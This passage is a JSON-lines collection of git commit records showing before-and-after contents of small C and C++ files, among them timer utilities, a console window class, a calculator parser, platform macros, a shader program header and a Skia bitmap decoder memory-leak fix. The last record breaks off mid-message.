{"commit":"13f94cfadc2cfdcbb7b37a569b78114563f7fbda","old_file":"src\/util\/Interval.h","new_file":"src\/util\/Interval.h","old_contents":"#ifndef INTERVAL_H\n#define INTERVAL_H\n\nnamespace Interval{\n    class RepeatedInterval{\n        uint32_t next;\n        uint32_t span;\n    public:\n        RepeatedInterval(uint32_t span): span(span) { next = millis() + span; }\n        boolean operator()() {\n            if(millis() > next){\n                next += span;\n                return true;\n            }\n            return false;\n        }\n    };\n    \/**\n     * Returns a functor that returns true once every `milliseconds`\n     * @param  milliseconds The interval time\n     * @return              A functor\n     *\/\n    RepeatedInterval every(uint32_t milliseconds){\n        return RepeatedInterval(milliseconds);\n    }\n\n    class SingleInterval{\n        uint32_t endTime;\n    public:\n        SingleInterval(uint32_t t): endTime(t) {}\n        boolean operator()() { return millis() > endTime; }\n    };\n    \/**\n     * Returns a functor that returns false until `milliseconds` have elapsed\n     * @param  milliseconds The interval time\n     * @return              A functor\n     *\/\n    SingleInterval elapsed(uint32_t milliseconds){\n        return SingleInterval( millis() + milliseconds);\n    }\n}\n\n#endif\n","new_contents":"#ifndef INTERVAL_H\n#define INTERVAL_H\n\nnamespace Interval{\n    class RepeatedInterval{\n        uint32_t next;\n        uint32_t span;\n    public:\n        RepeatedInterval(uint32_t span): span(span) { next = millis() + span; }\n        boolean operator()() {\n            if(millis() > next){\n                next += span;\n                return true;\n            }\n            return false;\n        }\n    };\n    \/**\n     * Returns a functor that returns true once every `milliseconds`\n     * @param  milliseconds The interval time\n     * @return              A functor\n     *\/\n    RepeatedInterval every(uint32_t milliseconds){\n        return RepeatedInterval(milliseconds);\n    }\n\n    class SingleInterval{\n        uint32_t endTime;\n    public:\n        SingleInterval(uint32_t t): endTime(t) {}\n        boolean operator()() { return millis() > endTime; }\n    };\n    \/**\n     * Returns a functor that returns false until `milliseconds` have elapsed\n     * @param  milliseconds The interval time\n     * @return              A functor\n     *\/\n    SingleInterval elapsed(uint32_t milliseconds){\n        return SingleInterval( millis() + milliseconds);\n    }\n\n    class Timer{\n        uint32_t lastCall;\n    public:\n        Timer(){ reset(); }\n        void reset() { lastCall = micros(); }\n        uint32_t operator()() {\n            return micros() - lastCall;\n        }\n    };\n    Timer timer(){\n        return Timer();\n    }\n}\n\n#endif\n","subject":"Add a timer utility to interval namespace","message":"Add a timer utility to interval namespace\n","lang":"C","license":"apache-2.0","repos":"MINDS-i\/MINDS-i-Drone,MINDS-i\/MINDS-i-Drone"}
{"commit":"3f0057466acce1d8983cf0b6b8ef7abbe084f3f0","old_file":"src\/window.h","new_file":"src\/window.h","old_contents":"#ifndef _WINDOW_H_\n#define _WINDOW_H_\n#include <string>\n#include <iostream>\nclass Window {\n    std::string title;\n    public:\n    Window(const std::string& title): title(title) {}\n    virtual void handle() = 0;\n    void drawTitle() {\n\/\/#ifdef _WIN32\n        \/\/std::system(\"cls\");\n\/\/#else \/\/assuming linux, yeah, I know\n        \/\/std::system(\"clear\");\n\/\/#endif\n        std::cout << \"   \" << title << std::endl;\n        std::cout << \"================================\" << std::endl;\n    }\n    std::string readCommand(const std::string& prompt) {\n        std::cout << prompt;\n        std::string cmd;\n        std::cin >> cmd;\n        return cmd;\n    }\n    std::string readCommand() {\n        return readCommand(\"> \");\n    }\n\n};\n#endif\n","new_contents":"#ifndef _WINDOW_H_\n#define _WINDOW_H_\n#include <string>\n#include <iostream>\n#include <cstdlib>\nclass Window {\n    std::string title;\n    public:\n    Window(const std::string& title): title(title) {}\n    virtual void handle() = 0;\n    void drawTitle() {\n#ifdef _WIN32\n        std::system(\"cls\");\n#else \/\/assuming linux, yeah, I know\n        std::system(\"clear\");\n#endif\n        std::cout << \"   \" << title << std::endl;\n        std::cout << \"================================\" << std::endl;\n    }\n    std::string readCommand(const std::string& prompt) {\n        std::cout << prompt;\n        std::string cmd;\n        std::getline(std::cin,cmd);\n        return cmd;\n    }\n    std::string readCommand() {\n        return readCommand(\"> \");\n    }\n\n};\n#endif\n","subject":"Enable clearing, use getline to read empty lines","message":"Enable clearing, use getline to read empty lines\n","lang":"C","license":"mit","repos":"nyz93\/advertapp,nyz93\/advertapp"}
{"commit":"6958b17b0e3a663bbd3832ac49e598469f1699c0","old_file":"src\/sampgdk.c","new_file":"src\/sampgdk.c","old_contents":"#include \"sampgdk.h\"\n\n#if SAMPGDK_WINDOWS\n  #undef CreateMenu\n  #undef DestroyMenu\n  #undef GetTickCount\n  #undef KillTimer\n  #undef SelectObject\n  #undef SetTimer\n  #define WIN32_LEAN_AND_MEAN\n  #include <windows.h>\n#else\n  #define _GNU_SOURCE\n#endif\n","new_contents":"#include \"sampgdk.h\"\n\n#if SAMPGDK_WINDOWS\n  #ifdef _MSC_VER\n    #pragma warning(disable: 4996)\n  #endif\n  #undef CreateMenu\n  #undef DestroyMenu\n  #undef GetTickCount\n  #undef KillTimer\n  #undef SelectObject\n  #undef SetTimer\n  #define WIN32_LEAN_AND_MEAN\n  #include <windows.h>\n#else\n  #define _GNU_SOURCE\n#endif\n","subject":"Disable warning C4996 in amalgamation","message":"Disable warning C4996 in amalgamation\n","lang":"C","license":"apache-2.0","repos":"Zeex\/sampgdk,WopsS\/sampgdk,WopsS\/sampgdk,Zeex\/sampgdk,WopsS\/sampgdk,Zeex\/sampgdk"}
{"commit":"0047f0e77b601734597bf882f55f5bf4b0ede639","old_file":"calc.c","new_file":"calc.c","old_contents":"#include \"calc.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n\ndouble calc(const char* p, int mul_div_flag)\n{\n    int i;\n    double ans;\n\n    ans = atof(p);\n    if (p[0] != '(' && mul_div_flag == 1){\n        return (ans);\n    }\n    i = 0;\n    while (p[i] != '\\0'){\n        while (isdigit(p[i])){\n            i++;\n        }\n        switch (p[i]){\n            case '+':\n                return (ans + calc(p + i + 1, 0));\n            case '-':\n                return (ans - calc(p + i + 1, 0));\n            case '*':\n                ans *= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '\/':\n                ans \/= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '(':\n                return (calc(p + i + 1, 0));\n            case ')':\n            case '\\0':\n                return (ans);\n            default:\n                puts(\"Error\");\n                return (0);\n        }\n    }\n\n    return (ans);\n}\n","new_contents":"#include \"calc.h\"\n\n#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n\ndouble calc(const char* p, int mul_div_flag)\n{\n    int i;\n    double ans;\n\n    if (p[0] != '(' && mul_div_flag == 1){\n        return (atof(p));\n    }\n    else if (p[0] == '('){\n        ans = 0;\n    }\n    else {\n        ans = atof(p);\n    }\n\n    i = 0;\n    while (p[i] != '\\0'){\n        while (isdigit(p[i])){\n            i++;\n        }\n        switch (p[i]){\n            case '+':\n                return (ans + calc(p + i + 1, 0));\n            case '-':\n                return (ans - calc(p + i + 1, 0));\n            case '*':\n                ans *= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '\/':\n                ans \/= calc(p + i + 1, 1);\n                if (p[i + 1] == '('){\n                    while (p[i] != ')'){\n                        i++;\n                    }\n                }\n                i++;\n                break;\n            case '(':\n                return (calc(p + i + 1, 0));\n            case ')':\n            case '\\0':\n                return (ans);\n            default:\n                puts(\"Error\");\n                return (0);\n        }\n    }\n\n    return (ans);\n}\n","subject":"Split mul_div flag part to avoid bugs","message":"Split mul_div flag part to avoid bugs\n","lang":"C","license":"mit","repos":"Roadagain\/Calculator,Roadagain\/Calculator"}
{"commit":"3f1de23eee55029056d26bd123f61adaf1ec3525","old_file":"main.c","new_file":"main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n\nint main() {\n\tFILE *file;\n\tlong length;\n\tchar *buffer;\n\tfile = fopen(\"example.minty\", \"r\");\n\tif (file == NULL) {\n\t\treturn 1;\n\t}\n\tfseek(file, 0, SEEK_END);\n\tlength = ftell(file);\n\tfseek(file, 0, SEEK_SET);\n\tbuffer = (char *)malloc(length);\n\tfread(buffer, length, 1, file);\n\tfclose(file);\n\tprintf(\"%s\", buffer);\n\treturn 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\nint main(int argc, char *argv[]) {\n\tFILE *file;\n\tlong length;\n\tchar *buffer;\n\tif (argc < 2) {\n\t  return 1;\n\t}\n\tfile = fopen(argv[1], \"r\");\n\tif (file == NULL) {\n\t\treturn 1;\n\t}\n\tfseek(file, 0, SEEK_END);\n\tlength = ftell(file);\n\tfseek(file, 0, SEEK_SET);\n\tbuffer = (char *)malloc(length);\n\tfread(buffer, length, 1, file);\n\tfclose(file);\n\tprintf(\"%s\", buffer);\n\treturn 0;\n}\n","subject":"Allow program to run to be specified on command line","message":"Allow program to run to be specified on command line\n","lang":"C","license":"mit","repos":"shanepelletier\/ChocoMinty"}
{"commit":"f5e5f7d6cdb9ce7c8203b7bfe2c5269a14813433","old_file":"tests\/drivers\/build_all\/modem\/src\/main.c","new_file":"tests\/drivers\/build_all\/modem\/src\/main.c","old_contents":"\/*\n * Copyright (c) 2012-2014 Wind River Systems, Inc.\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <zephyr.h>\n#include <sys\/printk.h>\n#include <device.h>\n\n\n\/*\n * @file\n * @brief Hello World demo\n *\/\n\n\nvoid main(void)\n{\n\tprintk(\"Hello World!\\n\");\n}\n\n#if DT_NODE_EXISTS(DT_INST(0, vnd_gpio))\n\/* Fake GPIO device, needed for building drivers that use DEVICE_DT_GET()\n * to access GPIO controllers.\n *\/\nDEVICE_DT_DEFINE(DT_INST(0, vnd_gpio), NULL, NULL, NULL, NULL,\n\t\t POST_KERNEL, CONFIG_KERNEL_INIT_PRIORITY_DEFAULT, NULL);\n#endif\n\n#if DT_NODE_EXISTS(DT_INST(0, vnd_serial))\n\/* Fake serial device, needed for building drivers that use DEVICE_DT_GET()\n * to access serial bus.\n *\/\nDEVICE_DT_DEFINE(DT_INST(0, vnd_serial), NULL, NULL, NULL, NULL,\n\t\t POST_KERNEL, CONFIG_KERNEL_INIT_PRIORITY_DEFAULT, NULL);\n#endif\n","new_contents":"\/*\n * Copyright (c) 2012-2014 Wind River Systems, Inc.\n *\n * SPDX-License-Identifier: Apache-2.0\n *\/\n\n#include <zephyr.h>\n#include <sys\/printk.h>\n#include <device.h>\n\n\n\/*\n * @file\n * @brief Hello World demo\n *\/\n\n\nvoid main(void)\n{\n\tprintk(\"Hello World!\\n\");\n}\n\n#if DT_NODE_EXISTS(DT_INST(0, vnd_gpio))\n\/* Fake GPIO device, needed for building drivers that use DEVICE_DT_GET()\n * to access GPIO controllers.\n *\/\nDEVICE_DT_DEFINE(DT_INST(0, vnd_gpio), NULL, NULL, NULL, NULL,\n\t\t POST_KERNEL, CONFIG_KERNEL_INIT_PRIORITY_DEFAULT, NULL);\n#endif\n","subject":"Revert \"tests: drivers: build_all: add fake serial device for modem tests\"","message":"Revert \"tests: drivers: build_all: add fake serial device for modem tests\"\n\nThis reverts commit 9e58a1e475473fcea1c3b0d05ac9c738141c821a.\n\nThis change is in conflict with commit 94f7ed356f0c (\"drivers: serial:\nadd a dummy driver for vnd,serial\"). As a result two equal serial\ndevices are defines, resulting in link error.\n\nSigned-off-by: Marcin Niestroj <63506c06cfbc47ace147db1702f6e751f5ac2132@emb.dev>\n","lang":"C","license":"apache-2.0","repos":"finikorg\/zephyr,finikorg\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,galak\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,galak\/zephyr,finikorg\/zephyr,zephyrproject-rtos\/zephyr,finikorg\/zephyr"}
{"commit":"52e572fa6be630f16f119f17eb38fbe2e3b83ca0","old_file":"inc\/libutils\/env.h","new_file":"inc\/libutils\/env.h","old_contents":"\/*\n * env.h\n *\n * Author: Ming Tsang\n * Copyright (c) 2014 Ming Tsang\n * Refer to LICENSE for details\n *\/\n\n#pragma once\n\n#define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n\n#if defined(UNIX) || defined(__unix__) || defined(LINUX) || defined(__linux__)\n\t#if !defined(UNIX)\n\t\t#define UNIX\n\t#endif\n#elif defined(_WIN32) || defined(WIN32)\n\t#if !defined(WIN32)\n\t\t#define WIN32\n\t#endif\n#else\n\t#error Unsupported platform\n#endif\n","new_contents":"\/*\n * env.h\n *\n * Author: Ming Tsang\n * Copyright (c) 2014 Ming Tsang\n * Refer to LICENSE for details\n *\/\n\n#pragma once\n\n#define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n\n#if defined(UNIX) || defined(__unix__) || defined(LINUX) || defined(__linux__)\n\t#if !defined(POSIX)\n\t\t#define POSIX\n\t#endif\n#elif defined(_WIN32) || defined(WIN32)\n\t#if !defined(WIN32)\n\t\t#define WIN32\n\t#endif\n#else\n\t#error Unsupported platform\n#endif\n","subject":"Rename platform flag from UNIX to POSIX","message":"Rename platform flag from UNIX to POSIX","lang":"C","license":"mit","repos":"nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils,nkming2\/libutils"}
{"commit":"92caf20511f42cae8dd45fa982d538c8b96161c5","old_file":"include\/base\/types.h","new_file":"include\/base\/types.h","old_contents":"\/* --------------------------------------------------------------------------\n *    Name: types.h\n * Purpose: Various typedefs and utility macros\n * ----------------------------------------------------------------------- *\/\n\n#ifndef TYPES_H\n#define TYPES_H\n\ntypedef signed char    int8_t;\ntypedef signed short   int16_t;\ntypedef signed int     int32_t;\n\ntypedef unsigned char  uint8_t;\ntypedef unsigned short uint16_t;\ntypedef unsigned int   uint32_t;\n\n#ifdef _WIN32\ntypedef int intptr_t;\n#endif\n\n#define NELEMS(x) ((int) (sizeof(x) \/ sizeof(x[0])))\n\n#define MIN(x,y) ((x) < (y) ? (x) : (y))\n#define MAX(x,y) ((x) > (y) ? (x) : (y))\n\n#define NOT_USED(x) ((x) = (x))\n\n#ifdef _WIN32\n#define INLINE __inline\n#else\n#define INLINE __inline__\n#endif\n\n#ifdef __GNUC__\n#define likely(x)   __builtin_expect(!!(x), 1)\n#define unlikely(x) __builtin_expect(!!(x), 0)\n#else\n#define likely(x)   (x)\n#define unlikely(x) (x)\n#endif\n\n#endif \/* TYPES_H *\/\n\n","new_contents":"\/* --------------------------------------------------------------------------\n *    Name: types.h\n * Purpose: Various typedefs and utility macros\n * ----------------------------------------------------------------------- *\/\n\n#ifndef TYPES_H\n#define TYPES_H\n\ntypedef signed char    int8_t;\ntypedef signed short   int16_t;\ntypedef signed int     int32_t;\n\ntypedef unsigned char  uint8_t;\ntypedef unsigned short uint16_t;\ntypedef unsigned int   uint32_t;\n\n#ifdef _MSC_VER\n#ifdef _WIN64\ntypedef __int64 intptr_t;\n#else\ntypedef int intptr_t;\n#endif\n#endif\n\n#define NELEMS(x) ((int) (sizeof(x) \/ sizeof(x[0])))\n\n#define MIN(x,y) ((x) < (y) ? (x) : (y))\n#define MAX(x,y) ((x) > (y) ? (x) : (y))\n\n#define NOT_USED(x) ((x) = (x))\n\n#ifdef _WIN32\n#define INLINE __inline\n#else\n#define INLINE __inline__\n#endif\n\n#ifdef __GNUC__\n#define likely(x)   __builtin_expect(!!(x), 1)\n#define unlikely(x) __builtin_expect(!!(x), 0)\n#else\n#define likely(x)   (x)\n#define unlikely(x) (x)\n#endif\n\n#endif \/* TYPES_H *\/\n\n","subject":"Declare intptr_t correctly for 64-bit Windows builds.","message":"Declare intptr_t correctly for 64-bit Windows builds.\n","lang":"C","license":"bsd-2-clause","repos":"dpt\/Containers,dpt\/Containers"}
{"commit":"2b8bfbea9493cd8742ca08b96ea8db02481dfc7a","old_file":"ui\/reflectionview.h","new_file":"ui\/reflectionview.h","old_contents":"","new_contents":"#pragma once\n\n#include <QtGui\/QMouseEvent>\n#include <QtGui\/QPaintEvent>\n#include <QtWidgets\/QWidget>\n\n#include \"binaryninjaapi.h\"\n#include \"dockhandler.h\"\n#include \"uitypes.h\"\n\nclass ContextMenuManager;\nclass DisassemblyContainer;\nclass Menu;\nclass ViewFrame;\n\nclass BINARYNINJAUIAPI ReflectionView: public QWidget, public DockContextHandler\n{\n\tQ_OBJECT\n\tQ_INTERFACES(DockContextHandler)\n\n\tViewFrame* m_frame;\n\tBinaryViewRef m_data;\n\tDisassemblyContainer* m_disassemblyContainer;\n\npublic:\n\tReflectionView(ViewFrame* frame, BinaryViewRef data);\n\t~ReflectionView();\n\n\tvirtual void notifyOffsetChanged(uint64_t offset) override;\n\tvirtual void notifyViewChanged(ViewFrame* frame) override;\n\tvirtual bool shouldBeVisible(ViewFrame* frame) override;\n\nprotected:\n\tvirtual void contextMenuEvent(QContextMenuEvent* event) override;\n};\n","subject":"Add new synchronized graph sub-view dock widget (Reflection).","message":"Add new synchronized graph sub-view dock widget (Reflection).\n","lang":"C","license":"mit","repos":"joshwatson\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,Vector35\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api,joshwatson\/binaryninja-api"}
{"commit":"10f5254d144aaa8af56eb6445cea08a491d9fcb8","old_file":"loader\/problem.h","new_file":"loader\/problem.h","old_contents":"\/\/ Explorer loader problem list\n\/\/ \/problem.h\n\n#ifndef PROBLEM_H_\n#define PROBLEM_H_\n\n\/**错误列表*\/\n#define ERR_NO_MEM_FOR_ID 1\t\t\t\t\/\/ 没有可用于中断描述符表的内存\n#define ERR_NO_MEM_FOR_SD 2\t\t\t\t\/\/ 没有可用于储存器描述符表的内存\n#define ERR_NO_MEM_FOR_SCTBUF 3\t\t\t\/\/ 没有可用于扇区缓存的内存\n#define ERR_NO_MEM_FOR_CONFIG 4\t\t\t\/\/ 没有可以分配给引导配置文件的内存\n#define ERR_NO_MEM_FOR_BUFFER 5\t\t\t\/\/ 没有可以分配给缓冲系统的内存\n#define ERR_NO_MEM_FOR_FS 6\t\t\t\t\/\/ 没有可以分配给文件系统的内存\n#define ERR_NO_MEM_FOR_MMU 7\t\t\t\/\/ 没有可以分配给MMU的内存\n\n\n\/**警告列表*\/\n#define WARN_NO_MEM 0x80000001\t\t\t\t\/\/ 无充足内存\n#define WARN_STORAGE_NOT_SUPPORT 0x80000002\t\/\/ 暂时不支持这个储存器\n\n#endif\n\n","new_contents":"\/\/ Explorer loader problem list\n\/\/ \/problem.h\n\n#ifndef PROBLEM_H_\n#define PROBLEM_H_\n\n\/**错误列表*\/\n#define ERR_NO_MEM_FOR_ID 1\t\t\t\/\/ 没有可用于中断描述符表的内存\n#define ERR_NO_MEM_FOR_SD 2\t\t\t\/\/ 没有可用于储存器描述符表的内存\n#define ERR_NO_MEM_FOR_SCTBUF 3\t\t\t\/\/ 没有可用于扇区缓存的内存\n#define ERR_NO_MEM_FOR_CONFIG 4\t\t\t\/\/ 没有可以分配给引导配置文件的内存\n#define ERR_NO_MEM_FOR_BUFFER 5\t\t\t\/\/ 没有可以分配给缓冲系统的内存\n#define ERR_NO_MEM_FOR_FS 6\t\t\t\/\/ 没有可以分配给文件系统的内存\n#define ERR_NO_MEM_FOR_MMU 7\t\t\t\/\/ 没有可以分配给MMU的内存\n#define ERR_NO_FILE 8\t\t\t\t\/\/ 没有文件\n#define ERR_CONFIG_OVERSIZE 9\t\t\t\/\/ CONFIG.LDR oversized\n\n\n\/**警告列表*\/\n#define WARN_NO_MEM 0x80000001\t\t\t\/\/ 无充足内存\n#define WARN_STORAGE_NOT_SUPPORT 0x80000002\t\/\/ 暂时不支持这个储存器\n#define WARN_SCRIPT_SIZE_BAD 0x80000003\t\t\/\/ length of cript incorrect\n\n#endif\n\n","subject":"Add new error and warning number","message":"Add new error and warning number\n","lang":"C","license":"bsd-2-clause","repos":"MakeOS\/GhostBirdOS,MakeOS\/GhostBirdOS"}
{"commit":"96da00377891c31244a0e6435a31608169ceae02","old_file":"src\/com\/spi.h","new_file":"src\/com\/spi.h","old_contents":"\/\/\n\/\/  spi.h\n\/\/  Ethernet Shield\n\/\/\n\/\/  Created by EFCM van der Werf on 12\/28\/13.\n\/\/  Copyright (c) 2013 EFCM van der Werf. All rights reserved.\n\/\/\n\n#ifndef COM_SPI_H\n#define COM_SPI_H\n\n#include \"..\/config.h\"\n\n\/\/ Do we want SPI?\n#ifdef COM_SPI\n\n#include <inttypes.h>\n\n\/**\n * SPI config\n *\/\ntypedef struct spi_config {\n    \n};\n\n\/**\n * @brief Initialize SPI channel\n * @param config Configuration for spi channel\n *\/\nextern void spi_init(spi_config *config);\n\n#define SPI_START(port, pin) (port) &= ~(1 << (pin))\n#define SPI_STOP(port, pin)  (port) |=  (1 << (pin))\n\n#endif \/\/ COM_SPI\n#endif \/\/ COM_SPI_H\n","new_contents":"\/\/\n\/\/  spi.h\n\/\/  Ethernet Shield\n\/\/\n\/\/  Created by EFCM van der Werf on 12\/28\/13.\n\/\/  Copyright (c) 2013 EFCM van der Werf. All rights reserved.\n\/\/\n\n#ifndef COM_SPI_H\n#define COM_SPI_H\n\n#include \"..\/config.h\"\n\n\/\/ Do we want SPI?\n#ifdef COM_SPI\n\n#include <inttypes.h>\n\n\/**\n * SPI config\n *\/\ntypedef struct spi_config {\n    \n};\n\n\/**\n * @brief Initialize SPI channel\n * @param config Configuration for spi channel\n *\/\nextern void spi_init(spi_config *config);\n\n#define SPI_ACTIVE(port, pin)  (port) &= ~(1 << (pin))\n#define SPI_PASSIVE(port, pin) (port) |=  (1 << (pin))\n\n#endif \/\/ COM_SPI\n#endif \/\/ COM_SPI_H\n","subject":"Rename SPI_START to SPI_ACTIVE and SPI_STOP to SPI_PASSIVE","message":"Rename SPI_START to SPI_ACTIVE and SPI_STOP to SPI_PASSIVE\n","lang":"C","license":"mit","repos":"fuegas\/dollhouse-ethshield,slashdev\/slashnet,fuegas\/dollhouse-ethshield,slashdev\/slashnet"}
{"commit":"3ec169b38a5ece25471b68953d4d43f03a148dba","old_file":"core\/util\/shaderProgram.h","new_file":"core\/util\/shaderProgram.h","old_contents":"#pragma once\n\n#include \"platform.h\"\n#include <string>\n#include <vector>\n#include <unordered_map>\n\nclass ShaderProgram {\n\npublic:\n\n    ShaderProgram();\n    virtual ~ShaderProgram();\n\n    GLint getGlProgram() { return m_glProgram; };\n    GLint getAttribLocation(const std::string& _attribName);\n\n    bool buildFromSourceStrings(const std::string& _fragSrc, const std::string& _vertSrc);\n\n    void use();\n\nprivate:\n\n    static GLint s_activeGlProgram;\n\n    GLint m_glProgram;\n    GLint m_glFragmentShader;\n    GLint m_glVertexShader;\n    std::unordered_map<std::string, GLint> m_attribMap;\n    std::string m_fragmentShaderSource;\n    std::string m_vertexShaderSource;\n\n    GLint makeLinkedShaderProgram(GLint _fragShader, GLint _vertShader);\n    GLint makeCompiledShader(const std::string& _src, GLenum _type);\n\n};\n","new_contents":"#pragma once\n\n#include \"platform.h\"\n#include <string>\n#include <vector>\n#include <unordered_map>\n\n\/*\n * ShaderProgram - utility class representing an OpenGL shader program\n *\/\n\nclass ShaderProgram {\n\npublic:\n\n    ShaderProgram();\n    virtual ~ShaderProgram();\n\n    \/* Getters *\/\n    GLint getGlProgram() { return m_glProgram; };\n    GLint getGlFragmentShader() { return m_glFragmentShader; };\n    GLint getGlVertexShader() { return m_glVertexShader; };\n\n    \/*\n     * getAttribLocation - fetches the location of a shader attribute, caching the result\n     *\/\n    GLint getAttribLocation(const std::string& _attribName);\n\n    \/*\n     * buildFromSourceStrings - attempts to compile a fragment shader and vertex shader from\n     * strings representing the source code for each, then links them into a complete program;\n     * if compiling or linking fails it prints the compiler log, returns false, and keeps the\n     * program's previous state; if successful it returns true.\n     *\/\n    bool buildFromSourceStrings(const std::string& _fragSrc, const std::string& _vertSrc);\n\n    \/\/ TODO: Once we have file system abstractions, provide a method to build a program from file names\n\n    \/*\n     * isValid - returns true if this object represents a valid OpenGL shader program\n     *\/\n    bool isValid() { return m_glProgram != 0; };\n\n    \/*\n     * use - binds the program in openGL if it is not already bound.\n     *\/\n    void use();\n\nprivate:\n\n    static GLint s_activeGlProgram;\n\n    GLint m_glProgram;\n    GLint m_glFragmentShader;\n    GLint m_glVertexShader;\n    std::unordered_map<std::string, GLint> m_attribMap;\n    std::string m_fragmentShaderSource;\n    std::string m_vertexShaderSource;\n\n    GLint makeLinkedShaderProgram(GLint _fragShader, GLint _vertShader);\n    GLint makeCompiledShader(const std::string& _src, GLenum _type);\n\n};\n","subject":"Add comments and convenience functions","message":"Add comments and convenience functions\n","lang":"C","license":"mit","repos":"quitejonny\/tangram-es,hjanetzek\/tangram-es,cleeus\/tangram-es,quitejonny\/tangram-es,cleeus\/tangram-es,quitejonny\/tangram-es,hjanetzek\/tangram-es,hjanetzek\/tangram-es,cleeus\/tangram-es,quitejonny\/tangram-es,karimnaaji\/tangram-es,tangrams\/tangram-es,hjanetzek\/tangram-es,xvilan\/tangram-es,xvilan\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,tangrams\/tangram-es,karimnaaji\/tangram-es,tangrams\/tangram-es,cleeus\/tangram-es,cleeus\/tangram-es,tangrams\/tangram-es,quitejonny\/tangram-es,cleeus\/tangram-es,karimnaaji\/tangram-es,quitejonny\/tangram-es,xvilan\/tangram-es,xvilan\/tangram-es,karimnaaji\/tangram-es,tangrams\/tangram-es"}
{"commit":"2d7e2de4bc36041ce62ca73cb4b11295a2271eae","old_file":"lib\/c\/src\/syscall.h","new_file":"lib\/c\/src\/syscall.h","old_contents":"extern void *_brk(void *addr);\nextern int _open(char *path, int flags, int perm);\nextern int _close(int fd);\nextern int _read(int fd, void *buf, size_t n);\nextern int _write(int fd, void *buf, size_t n);\nextern int _lseek(int fd, long off, int whence);\nextern void _Exit(int status);\nextern int raise(int sig);\nextern void (*signal(int sig, void (*func)(int)))(int);\n","new_contents":"extern void *_brk(void *addr);\nextern int _open(char *path, int flags, int perm);\nextern int _close(int fd);\nextern int _read(int fd, void *buf, size_t n);\nextern int _write(int fd, void *buf, size_t n);\nextern int _lseek(int fd, long off, int whence);\nextern void _Exit(int status);\nextern int raise(int sig);\nextern void (*signal(int sig, void (*func)(int)))(int);\nextern getenv(const char *var);\n","subject":"Add getenv() to the arch primitive list","message":"[lib\/c] Add getenv() to the arch primitive list\n","lang":"C","license":"isc","repos":"k0gaMSX\/scc,k0gaMSX\/scc,k0gaMSX\/scc"}
{"commit":"6210a7c68844602ee390bcce61dbb637910a3c6b","old_file":"include\/images\/SkBitmapRegionDecoder.h","new_file":"include\/images\/SkBitmapRegionDecoder.h","old_contents":"#ifndef SkBitmapRegionDecoder_DEFINED\n#define SkBitmapRegionDecoder_DEFINED\n\n#include \"SkBitmap.h\"\n#include \"SkRect.h\"\n#include \"SkImageDecoder.h\"\n\nclass SkBitmapRegionDecoder {\npublic:\n    SkBitmapRegionDecoder(SkImageDecoder *decoder, int width, int height) {\n        fDecoder = decoder;\n        fWidth = width;\n        fHeight = height;\n    }\n    virtual ~SkBitmapRegionDecoder() {\n        delete fDecoder;\n    }\n\n    virtual bool decodeRegion(SkBitmap* bitmap, SkIRect rect,\n                              SkBitmap::Config pref, int sampleSize);\n\n    virtual int getWidth() { return fWidth; }\n    virtual int getHeight() { return fHeight; }\n\n    virtual SkImageDecoder* getDecoder() { return fDecoder; }\n\nprivate:\n    SkImageDecoder *fDecoder;\n    int fWidth;\n    int fHeight;\n};\n\n#endif\n","new_contents":"#ifndef SkBitmapRegionDecoder_DEFINED\n#define SkBitmapRegionDecoder_DEFINED\n\n#include \"SkBitmap.h\"\n#include \"SkRect.h\"\n#include \"SkImageDecoder.h\"\n#include \"SkStream.h\"\n\nclass SkBitmapRegionDecoder {\npublic:\n    SkBitmapRegionDecoder(SkImageDecoder *decoder, SkStream *stream,\n            int width, int height) {\n        fDecoder = decoder;\n        fStream = stream;\n        fWidth = width;\n        fHeight = height;\n    }\n    virtual ~SkBitmapRegionDecoder() {\n        delete fDecoder;\n        fStream->unref();\n    }\n\n    virtual bool decodeRegion(SkBitmap* bitmap, SkIRect rect,\n                              SkBitmap::Config pref, int sampleSize);\n\n    virtual int getWidth() { return fWidth; }\n    virtual int getHeight() { return fHeight; }\n\n    virtual SkImageDecoder* getDecoder() { return fDecoder; }\n\nprivate:\n    SkImageDecoder *fDecoder;\n    SkStream *fStream;\n    int fWidth;\n    int fHeight;\n};\n\n#endif\n","subject":"Fix 3510563: memory leak in BitmapRegionDecoder.","message":"Fix 3510563: memory leak in BitmapRegionDecoder.\n\nChange-Id: 